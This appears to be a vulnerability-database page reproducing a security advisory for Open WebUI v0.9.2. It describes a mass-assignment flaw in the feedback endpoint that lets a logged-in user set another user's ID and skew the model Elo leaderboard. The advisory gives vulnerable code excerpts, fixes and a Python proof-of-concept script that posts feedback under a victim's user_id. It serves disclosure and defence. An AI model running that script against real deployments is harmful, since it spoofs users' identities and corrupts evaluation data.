VDB
EN
MEDIUM 5.4

GHSA-rjmp-vjf2-qf4g

Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation

상세

# Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation

## Summary

The `POST /api/v1/evaluations/feedback` endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via `FeedbackForm`, which uses `model_config = ConfigDict(extra='allow')`. Due to an insecure dictionary merge order in `insert_new_feedback()`, an authenticated attacker can inject a `user_id` field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.

## Details

The vulnerability exists in two layers:

### 1. Model Layer — Insecure Dict Merge Order

**File:** `backend/open_webui/models/feedbacks.py`, lines 148–160

```python async def insert_new_feedback( self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None ) -> Optional[FeedbackModel]: async with get_async_db_context(db) as db: id = str(uuid.uuid4()) feedback = FeedbackModel( **{ 'id': id, 'user_id': user_id, # ← Server-set from auth token 'version': 0, **form_data.model_dump(), # ← OVERWRITES 'id', 'user_id', 'version' 'created_at': int(time.time()), 'updated_at': int(time.time()), } ) ```

In Python, when a dictionary literal contains duplicate keys, the **last value wins**. Since `**form_data.model_dump()` appears after `'user_id': user_id`, any `user_id` field in the form data overwrites the authenticated user's ID.

### 2. Schema Layer — `extra='allow'` on Request Form

**File:** `backend/open_webui/models/feedbacks.py`, line 106

```python class FeedbackForm(BaseModel): type: str data: Optional[RatingData] = None meta: Optional[dict] = None snapshot: Optional[SnapshotData] = None model_config = ConfigDict(extra='allow') # ← Accepts arbitrary extra fields ```

The `extra='allow'` config means Pydantic will accept and preserve any extra fields in the request body, including `user_id`, `id`, and `version`. These are then spread into the `FeedbackModel` constructor, overwriting server-set values.

### Contrast with Secure Pattern

Other models in the same codebase use the correct ordering. For example, `backend/open_webui/models/functions.py`, line 120:

```python function = FunctionModel(**{ **form_data.model_dump(), # ← Spread FIRST 'user_id': user_id, # ← Server value AFTER → always wins }) ```

And `ModelForm` at `backend/open_webui/models/models.py` uses `extra='ignore'`, which is the strictest approach.

## Impact

### 1. User Identity Spoofing An attacker can create feedback records attributed to any user by specifying their `user_id`. The admin export endpoint (`GET /api/v1/evaluations/feedbacks/export`) and admin list (`GET /api/v1/evaluations/feedbacks/all`) will show the spoofed `user_id` as the feedback author.

### 2. Model Evaluation Leaderboard Manipulation The Elo rating system at `backend/open_webui/routers/evaluations.py` computes model rankings directly from feedback records. An attacker can inject fake rating feedback to: - Artificially inflate ratings for a specific model - Deflate ratings for competitor models - Make organizational model evaluation decisions unreliable

### 3. Record ID Control By injecting a custom `id`, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.

## PoC

```python import requests

BASE_URL = "http://localhost:8080"

# 1. Login as attacker session = requests.Session() login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={ "email": "attacker@example.com", "password": "attackerpass" }) token = login_resp.json()["token"] headers = {"Authorization": f"Bearer {token}"}

# 2. Create feedback attributed to a different user (victim) VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000"

resp = session.post( f"{BASE_URL}/api/v1/evaluations/feedback", headers=headers, json={ "type": "rating", "data": { "model_id": "gpt-4o", "rating": 1, "sibling_model_ids": ["claude-3-opus"], }, # Mass assignment: these extra fields are accepted due to extra='allow' # and overwrite server-set values due to dict merge order "user_id": VICTIM_USER_ID, # Overwrites authenticated user ID "version": 999, # Overwrites default version } )

feedback = resp.json() print(f"Feedback created with user_id: {feedback['user_id']}") # Expected: attacker's own user_id # Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000) assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!" ```

## Severity

**CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`

- **Attack Vector:** Network - **Attack Complexity:** Low - **Privileges Required:** Low (any authenticated user) - **User Interaction:** None - **Impact:** Integrity (feedback data falsification) + limited Availability (leaderboard reliability)

## Suggested Remediation

### Option 1: Fix dict merge order (minimal fix) ```python feedback = FeedbackModel( **{ **form_data.model_dump(), # Spread FIRST 'id': id, # Server values AFTER (always win) 'user_id': user_id, 'version': 0, 'created_at': int(time.time()), 'updated_at': int(time.time()), } ) ```

### Option 2: Remove `extra='allow'` from FeedbackForm (recommended) ```python class FeedbackForm(BaseModel): type: str data: Optional[RatingData] = None meta: Optional[dict] = None snapshot: Optional[SnapshotData] = None model_config = ConfigDict(extra='ignore') # Reject unexpected fields ```

### Option 3: Explicit field assignment (most secure) ```python feedback = FeedbackModel( id=str(uuid.uuid4()), user_id=user_id, version=0, type=form_data.type, data=form_data.data.model_dump() if form_data.data else {}, meta=form_data.meta or {}, snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {}, created_at=int(time.time()), updated_at=int(time.time()), ) ```

## Affected Versions

- v0.9.2 (current latest, confirmed vulnerable) - Likely all versions since feedback/evaluation feature was introduced

## References

- Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0) — same root cause class, different endpoint

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

PyPI / open-webui
최초 영향 버전: 0 수정 버전: 0.9.5
수정 pip install --upgrade 'open-webui>=0.9.5'

참고